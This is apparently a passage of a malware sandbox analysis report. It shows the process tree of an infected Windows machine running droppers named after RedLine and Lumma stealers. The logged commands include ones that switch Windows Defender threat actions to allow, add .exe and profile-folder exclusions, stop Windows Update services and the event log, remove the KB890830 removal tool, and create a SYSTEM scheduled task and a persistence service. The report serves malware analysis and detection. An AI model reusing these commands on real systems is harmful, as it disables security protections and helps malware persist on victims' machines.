        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        5⤵
        Drops startup file
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1520
      - C:\Users\Admin\Pictures\ArgXI9tgNtUY9VkmvL1KS89U.exe
        
        "C:\Users\Admin\Pictures\ArgXI9tgNtUY9VkmvL1KS89U.exe" /s
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1348
        
        C:\Users\Admin\Pictures\360TS_Setup.exe
        
        "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:2324
        
        C:\Program Files (x86)\1717552892_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1717552892_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Writes to the Master Boot Record (MBR)
        Drops file in Program Files directory
        Modifies system certificate store
        
        PID:624
      - C:\Users\Admin\Pictures\a9o4LxifKovVyCpn4joaxumJ.exe
        
        "C:\Users\Admin\Pictures\a9o4LxifKovVyCpn4joaxumJ.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\7zS670D.tmp\Install.exe
        
        .\Install.exe
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2728
        
        C:\Users\Admin\AppData\Local\Temp\7zS6AA5.tmp\Install.exe
        
        .\Install.exe /yrVdidRYRgn "385118" /S
        8⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Enumerates system info in registry
        
        PID:536
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:2212
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:1764
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:1944
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:1624
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:2240
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:2584
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:2148
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:2900
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:3068
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:2296
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:2384
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:2840
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:2784
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:2136
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:2416
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2660
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        13⤵
        
        PID:2168
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:1044
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:2008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2444
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 02:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\kFYCrwb.exe\" PP /PDodidDULX 385118 /S" /V1 /F
        9⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2952
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
        9⤵
        
        PID:2316
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
        10⤵
        
        PID:2172
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn btZaCbGShXZoJDfvCg
        11⤵
        
        PID:1556
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 536 -s 564
        9⤵
        Loads dropped DLL
        Program crash
        
        PID:3972
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1960 -s 784
        5⤵
        Loads dropped DLL
        
        PID:1400
  - - C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
      "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2896
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2896 -s 72
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:1248
  - - C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
      "C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Users\Admin\AppData\Local\Temp\onefile_2968_133620263775410000\stub.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2028
  - - C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe
      "C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2272
  - - C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe
      "C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1732 -s 52
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:2712
  - - C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe
      "C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe"
      4⤵
      Executes dropped EXE
      PID:1484
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 72
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:1264
  - - C:\Users\Admin\AppData\Local\Temp\1000012001\lrthijawd.exe
      "C:\Users\Admin\AppData\Local\Temp\1000012001\lrthijawd.exe"
      4⤵
      Executes dropped EXE
      PID:1572
    - - C:\Windows\system32\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
        5⤵
        Loads dropped DLL
        
        PID:2036
      - C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
        
        work.exe -priverdD
        6⤵
        Executes dropped EXE
        
        PID:1812
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\jergs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\jergs.exe"
        7⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1592
  - - C:\Users\Admin\AppData\Local\Temp\1000014001\services64.exe
      "C:\Users\Admin\AppData\Local\Temp\1000014001\services64.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2088
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2840
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Drops file in Windows directory
        
        PID:2300
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:1376
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:2584
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:1760
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:1296
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:284
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1308
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2136
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2776
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2108
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "WindowsAutHost"
        5⤵
        Launches sc.exe
        
        PID:2404
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:2196
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:2424
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "WindowsAutHost"
        5⤵
        Launches sc.exe
        
        PID:3048

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1670142760-1132020992161290830219500453801871304118-2026938762776711984-616124117"
1⤵
PID:1316

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "10638857092068488863-358894843-478454855624545368-1639636609-336833775795647601"
1⤵
PID:1800

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-145581774435327273-7917291521608411949-307817733-134379012129599795-1187701684"
1⤵
PID:2244

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1385761259-830721514-957915847-1028957757-424951969100053391078119575-1921381144"
1⤵
PID:1860

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "375921453-174239017-211636680539349396-127689510413755298061424491957-385160325"
1⤵
PID:296

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "9681134201722782585-1489431928-1402564703-1663290995-5102045071974979443645580365"
1⤵
PID:2840

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1785236721-16228077851381596008394576047-1916401333-202966151215763422661847056352"
1⤵
PID:2220

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1019190976-176894849018652643396121918149096787791790158846-831326077-1014447883"
1⤵
PID:3960

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "14051280542073955203449007572147283077-12849392081865986209-120247146915796942"
1⤵
PID:4024

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2030372628-15702749626206462421772669024-744179161-680805957812734424-1683584693"
1⤵
PID:4080

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-8642020434186082691462666169-2002114030359825104-147994548219463773542087361726"
1⤵
PID:3460

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-964398244-3451357021978507051184918086-829380415-688137248-18257099701797768585"
1⤵
PID:2136

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "46355854-6218187661910776252-27119278235388923-102036584-362234600-208268340"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2444

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "786759946-1687437193432822375126231894910664895092040985115-14601860951515802227"
1⤵
PID:2584

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1407795081-1121379908-1929076800-712741326747515220-1312856891837681375-1809544859"
1⤵
PID:3516

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-553915596-1383072460-1376250352814556130710473619-14593648651826309582-535745582"
1⤵
PID:3596

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "241391961-7097988-1725935006-1202153833-10508465701984604874-310444894-1980578507"
1⤵
PID:3488

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-898768954-1380636141-566040881-82921483954459918210999446771169095739-175547418"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3924

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "691004547-13021398151092042265-19745180841958286018-1690499979-1648258670-527472325"
1⤵
PID:3984

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "208270708587367993-5609474313277393464151969282128023209-580379274-825945376"
1⤵
PID:4012

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "13860987363783189181621027286-2133228252628082028447933214-915058409-634477082"
1⤵
PID:4028

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-92332539199802364317184572501037844762-526777698-8225663492059956474-630452290"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1044

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2035675576-1530733282-1202682365958824421251425138772724067102290286-513039425"
1⤵
PID:2168

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1105934267-1184532464-103291636559610046229289148962855196-2095574542-1201137500"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3068

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "24495533769135346811524591031391190142-772906751865273732-1776374794-1454320537"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1236

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-657321210-7914541671559536025994364253166614107943179331840815414-1421450668"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2464

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-204561319718810801931025873075-2061736483959800893-1215356847635570762724906786"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2856

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1817199153-895393588-1111037395-1451596386-634694379925574479-701790941568059111"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3204

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-346397457-1388044427-1496872076851012318-8728786401330430318275449344-143549288"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3248

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "581422128-9256213812425948001088753794-1588940802-12733303637450810851020488553"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3276

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "19563104416606596351944946583-981238764944237851-14352126761821202490-1016079021"
1⤵
PID:876

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "204593973912269121422009663545-1372541841-718962759-1943793818725828306-2133357894"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3388

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1136263353-71137502391941725-693937989-1911524476-206438636788671524296093056"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2400

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1945576117863795366728750417153309374-1922651551954447224-1639338823735147978"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1768

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "957610106-174589528765426086523785241181594428419156116354456237421594119449"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3500

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "829965692101034948373926424-1087738102-388307083-1185057328-1599002721271577605"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3532

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-20719106931979351198-1413345510-438435327113745515226501896-3231855032092322544"
1⤵
PID:3736

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "526651395-1516312790-7188631127073840532085921993513680319-20132287531706572267"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3764

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "14480839671085922423-714623613-7125698701021138007-892664615-1315587027-1238023988"
1⤵
- Suspicious use of SetWindowsHookEx
PID:760

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "12563164611700704815-215042115-2096578352598975590126892943821316974361160906183"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2300

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "6343876631748939297-1755283989-18938381831156132554173852816918709677181651631114"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1448

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "778463657-1352304918-1125029885-4293546311064631095-1919659804-1913856247797755067"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3992

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1429025707-9838240108998288132313557843437975091740142079255878862974420"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3944

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-125581113172027125-1721420700-1407367591420763619964243203324017956-782760252"
1⤵
- Suspicious use of SetWindowsHookEx
PID:4012

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "168201115817286849331701676992919080734-208093229-852716275-539184019-34573891"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2948

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1991129413-10630501331980164801-765940830-15388334132900382751225688275985949377"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3256

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1412093386111241498713429886681434669202-12437404681744033032-496863841-765859437"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1500

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-445387177-1839874241-9274914822004242544-2352176643438066561292981461-1727573363"
1⤵
- Suspicious use of SetWindowsHookEx
PID:2496

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1650437257-1381425311-404353590-18916952759004304811686409166-637473483-436185839"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1572

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "820317054-1219915173-582849062-1959402764-212242640-139168477-772330134-491560984"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1800

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1951345135-1026670418-9290280871168199259-946669551662859683-315718258-257518776"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1132

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2036467829-2053953575-784994437-7861497961082441296-1604683977971624382-428128789"
1⤵
PID:3228

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "87095820422622294-1026267691-1503366938-3013336091094010245-419372305927617045"
1⤵
PID:2132

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2003413623-232301041-160023398815560651731761150689-17401713451442205217-2038248718"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3380

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-29983171059920058414313521837399744221865380513-1823524092750876148-430491183"
1⤵
PID:3504

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "223866810-2371610311403275609-2074484400-1305931692-1338819793-1854215458-1704413004"
1⤵
PID:2100

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1952989474-1851494464-3001223301649770724208457781116548665852070502735-1996119166"
1⤵
PID:4008

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "871453072-748149431-20136766301574020485921171957-20477856251088386102826215901"
1⤵
PID:4028

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "877443060654956220687476838-17283514-1716703588-14510827702044453856-830858978"
1⤵
PID:4068

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1990607666-865236395-7972115403075716601831564498118055960-1672513309608558150"
1⤵
PID:3844

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-17508319051484247918154927840677871096-15769434048145699261153531600-1205588318"
1⤵
- Suspicious use of SetWindowsHookEx
PID:1324

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1491404021-728513760-667097796-1129904640-863763336-1255083090-10837660741010864259"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3236

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1076857240-825576228-1779327406-508711923216428764-15999506605036651301546546322"
1⤵
PID:1328

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "541700925581308399-2025455-655986914-122072328169552934618723911601132727140"
1⤵
- Suspicious use of SetWindowsHookEx
PID:3232

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2482436991127079320-1218473139551046854-1530786142-63446881445575809-1895112955"
1⤵
PID:3492

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1909161156317712042-18464585151301034539-6565840461131790593-8224360781264037915"
1⤵
PID:2108

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "786087663-1931462724-212727471718914941661718361630-54566551716330300851939624063"
1⤵
PID:2732

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1162418586-651490713-922598943778748791427993438-1170513017431278829235317779"
1⤵
PID:1876

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1197844457466628152-1534501496-5550880151766452291-13708326-211289402-450475795"
1⤵
PID:3276

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-15696857549010379672235419352549585591854408584-1496597751505722038-861873062"
1⤵
PID:2964

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1320130624-406799100667341567126298363914338404-757596325904841264-26603394"
1⤵
PID:3544

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-503638413337032630-6830193391650357767-1047920487-1126361429-473466881-872852577"
1⤵
PID:2252

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "19931939231216107496-1980871991-1560208294925433242-1409260342-2089126167-275065565"
1⤵
PID:3388

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-723154509-14137209951960607667-558002630-616021478704538352061781818892241811"
1⤵
PID:3780

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-67608172116323613822046629001-183842010977336559075160697-1986030488-2094765234"
1⤵
PID:3108

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-13099258531183769919-20636421811811130114-1569464435-10307243191815416321-558799049"
1⤵
PID:3352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

